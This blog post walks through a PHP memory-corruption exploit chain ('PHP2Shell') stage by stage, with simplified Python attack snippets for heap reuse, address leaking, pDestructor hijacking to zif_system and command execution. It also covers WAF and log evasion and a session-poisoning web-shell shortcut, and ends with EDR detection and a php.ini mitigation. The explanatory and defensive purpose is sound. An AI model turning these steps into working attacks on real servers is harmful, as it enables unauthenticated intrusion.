Author: Valli-Nayagam Chokkalingam
If you’ve tried reading the official security advisories for the recent PHP2Shell vulnerabilities, you’ve probably felt your eyes glaze over. The reports throw around terms like “Zend Memory Manager,” “longjmp,” and “Use-After-Free,” assuming you already hold a PhD in C-level memory management. Most write-ups explain what the vulnerability is, but completely fail to explain how the exploit physically works.
When I first started digging into the public Proof of Concept, I had to sketch the memory layout on a whiteboard to make it click. Today, I’m sharing those notes. We are going to break down the PHP2Shell memory corruption exploit by tracing the exact journey of data through the server’s RAM.
A Note on the Code: The Python snippets below are simplified pseudocode designed to illustrate the C-level memory mechanics. The actual public PoC (like the
enessGitHub repository) is a highly complex script containing exact binary offsets, byte-packing for multiple architectures, and socket manipulations. The pseudocode here omits the heavy networking boilerplate so you can focus purely on how the memory is manipulated.
The Cast of Characters (PHP Internals)
To understand this exploit, you need to know how PHP handles data in memory. Remember, PHP is written in C, so everything operates on raw pointers and structs.
- The
zval(Zend Value): A small container in memory. It doesn’t hold the text data itself; it holds atype(likeIS_STRING) and a Pointer to where the actual data lives. pDestructor: A function pointer located inside an object. When PHP garbage collection destroys an object, it reads thepDestructorpointer to know which cleanup function to execute.zif_system: The C backend function for PHP’ssystem(). If PHP calls this, the server executes a Linux command.PHP_SESSION_UPLOAD_PROGRESS: A built-in PHP feature that tracks file uploads. Because it is parsed by the engine before the application code even runs, it’s the perfect unauthenticated entry point.
Stage 1: The Crash (CVE-2026-109618)
The Goal: Force the PHP engine to abandon a request mid-process, leaving a pointer aimed at freed memory.
The Pseudocode:
import requests
url = "http://target.com/index.php"
huge_file = b'B' * (12 * 1024 * 1024) # 12MB payload to breach memory_limit
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'A' * 100, # The payload data
'PHPSESSID': 'attacker_session' # The Anchor
}
files = {'file': ('dummy.txt', huge_file)}
# The server crashes and drops the connection
try:
requests.post(url, files=files, data=data)
except requests.exceptions.ConnectionError:
print("[*] Worker crashed. Dangling pointer created.")
The C-Level Mechanics:
PHP parses the upload and creates a zval at memory address 0x7F001. It sets the type to IS_STRING and points it to a memory chunk at 0x7F100 where it stores the value ('A' * 100). Because the 12MB file breaches the limit, PHP calls zend_bailout(), executing a C longjmp(). This instantly jumps execution back to the top-level loop, skipping all cleanup routines.
Memory Snapshot: The Use-After-Free
[ 0x7F001 (The zval) ] [ 0x7F100 (The Data) ]
+-------------------------+ +------------------------------------+
| Type: IS_STRING | | [ FREED MEMORY / GARBAGE ] |
| Pointer: 0x7F100 -------|-------->| Was: "AAAAA... (100 bytes)" |
+-------------------------+ | (Zend MM released this chunk, but |
| the zval was never destroyed) |
+------------------------------------+
We now have a Use-After-Free (UAF). The pointer at 0x7F001 is “dangling.” It thinks it owns the memory at 0x7F100, but the memory manager has freed it. This immediate corruption of the request’s memory is CVE-2026-109618.
Stage 2: The Leak (CVE-2026-109619)
The Goal: Trick PHP into leaking the memory address of libphp.so to bypass Address Space Layout Randomization (ASLR).
The Pseudocode:
import requests
import struct
import re
url = "http://target.com/index.php"
# Build the fake zend_string header
payload = bytearray()
payload += struct.pack('<Q', 1) # Refcount
payload += struct.pack('<Q', 0) # Hash
payload += struct.pack('<Q', 2000) # Length (CORRUPTED!)
payload += b'A' * 150 # Data (sized to match freed chunk)
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload.hex(),
'PHPSESSID': 'attacker_session' # <--- Same Anchor!
}
r = requests.post(url, data=data)
# Extract the leaked address from the Set-Cookie header
match = re.search(r'PHPSESSID=([0-9a-fA-F]+)', r.headers.get('Set-Cookie', ''))
if match:
leaked_addr = int(match.group(1), 16)
The C-Level Mechanics:
The attacker sends a second request. Because the PHP worker is persistent, the corrupted memory survives. This “stale global state” is CVE-2026-109619. We use Heap Grooming to land our payload exactly at the freed chunk 0x7F100. We corrupt the Length field inside the zend_string to be massive (2000 bytes). When PHP tries to serialize the session, it follows the stale pointer and performs an Out-of-Bounds (OOB) Read.
(Note: The OOB Read is the attacker’s technique to weaponize the flaw, not the flaw itself. The flaw is the stale pointer left behind by the crash).
Memory Snapshot: The Out-of-Bounds Read
[ 0x7F100 (Overwritten by Attacker) ]
+---------------------------------------+
| zend_string Header |
| Length: 2000 (Corrupted by Attacker) | <-- Forces PHP to keep reading
+---------------------------------------+
| Data: "AAAA..." (Our 150-byte chunk) |
+---------------------------------------+
| Uninitialized Memory |
| [Raw Pointer: 0x7F00A1B2] | <-- PHP reads this and leaks it
+---------------------------------------+
The Bypass: We receive 0x7F00A1B2. By subtracting a known static offset, we calculate the exact base address of libphp.so, and therefore the exact address of zif_system.
Stage 3: The Hijack (Forging the Fake Object)
The Goal: Overwrite a function pointer so PHP executes our command instead of cleaning up.
The Pseudocode:
import requests
import struct
url = "http://target.com/index.php"
libphp_base = leaked_addr - 0x1A2B3 # Example offset
zif_system_addr = libphp_base + 0x43a870 # Example offset
cmd = b"id > p1.txt"
payload = bytearray(167) # Matches freed chunk size
# Overwrite pDestructor at offset 0x50
payload[0x50:0x58] = struct.pack('<Q', zif_system_addr)
# Place command at offset 0x60
payload[0x60:0x60+len(cmd)] = cmd
requests.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload.hex(), 'PHPSESSID': 'attacker_session'})
Memory Snapshot: The Hijacked Pointer
[ 0x7F100 (Attacker's Fake Object) ]
+---------------------------------------------------------------+
| Offset 0x50: pDestructor = 0x7F00C4D2 (zif_system address) | <--- Hijacked!
| Offset 0x60: Command = "id > p1.txt" | <--- The Payload
+---------------------------------------------------------------+
Stage 4: The Detonation (Execution)
The HTTP request ends. PHP begins its RSHUTDOWN phase. It finds the broken zval at 0x7F001, follows the pointer to 0x7F100, and reads the pDestructor pointer. Instead of a cleanup function, it jumps to zif_system, reads our command at offset 0x60, and executes it via the OS.
[ zval at 0x7F001 ] ---> "Go to 0x7F100 to find the object."
|
V
[ Fake Object at 0x7F100 ] ---> "To destroy me, call pDestructor (0x50)."
|
V
[ CPU jumps to 0x7F00C4D2 (zif_system) ] ---> Executes "id > p1.txt"
Why Do Attackers Use This? (The Strategy and Evasion)
Looking at this, you might wonder: Why go through the pain of memory corruption when attackers could just upload a web shell?
The answer comes down to stealth and environmental constraints.
- Zero Application Vulnerabilities Required: The Session Poisoning + LFI shortcut (which we will cover below) requires the web application to have a Local File Inclusion bug. The memory corruption path requires nothing from the application. You can send this payload to a completely blank
index.phpfile. - Eradicating Application Logs: Because the exploit happens deep in the C engine before the application code executes, standard web logs often record a standard
HTTP 200 OKresponse. There are no obvious error logs or malicious web requests left behind. - Bypassing WAFs: A Web Application Firewall (WAF) is looking for things like
<?php system(); ?>. This exploit sends raw binary data (viapayload.hex()) that lands in memory. WAFs typically ignore or fail to parse this memory-corruption payload.
(Why it’s rare: It is incredibly fragile. It requires exact binary offsets for the specific Linux distribution and PHP build. If the server restarts, ASLR reshuffles the memory, and the attacker has to start over. If they get the byte offset wrong by a single integer, the server crashes).
The Real-World Shortcut: Session Poisoning + LFI
Because the memory hack is so fragile, attackers usually opt for the Logic Flaw shortcut during real engagements. It uses the same entry point but requires an existing LFI bug:
- The Poison: Use
PHP_SESSION_UPLOAD_PROGRESSto write a.phpweb shell directly into/tmp/. - The Trigger: Use an LFI vulnerability to execute the web shell.
How to detect this (The EDR solution):
Whether the attacker used the complex memory hack or the simple LFI shortcut, the OS-level result is identical. The apache2 or php-fpm process must spawn a shell (sh or bash) to run the command. This is why EDRs focus on detecting the resulting process tree. If apache2 spawns sh, the EDR catches the Command and Control (C2) traffic, regardless of how the attacker bypassed PHP’s memory or web application.
The Ultimate Defense
Because both the complex memory hack and the simple file write rely on the exact same PHP feature, the mitigation is a single, definitive line in your php.ini:
session.upload_progress.enabled = Off
Turn it off, and both attack paths for CVE-2026-109618 and CVE-2026-109619 are instantly neutralized.
References & Further Reading
- Official PHP Security Advisories: PHP.net Security Releases (Patched in 8.2.35, 8.3.36, 8.4.27, 8.5.12)
- Deep-Dive Vulnerability Analysis: OX Security: Two Vulnerabilities Allow Unauthenticated RCE in PHP
- EDR Detection Analysis: CrowdStrike Protects Customers from PHP RCE Zero-Days
- Memory Corruption PoC (The “eness” Repo): GitHub – eness/php2shell
- Session Poisoning + LFI PoC: GitHub – 19h/CVE-2026-109618

Leave a Reply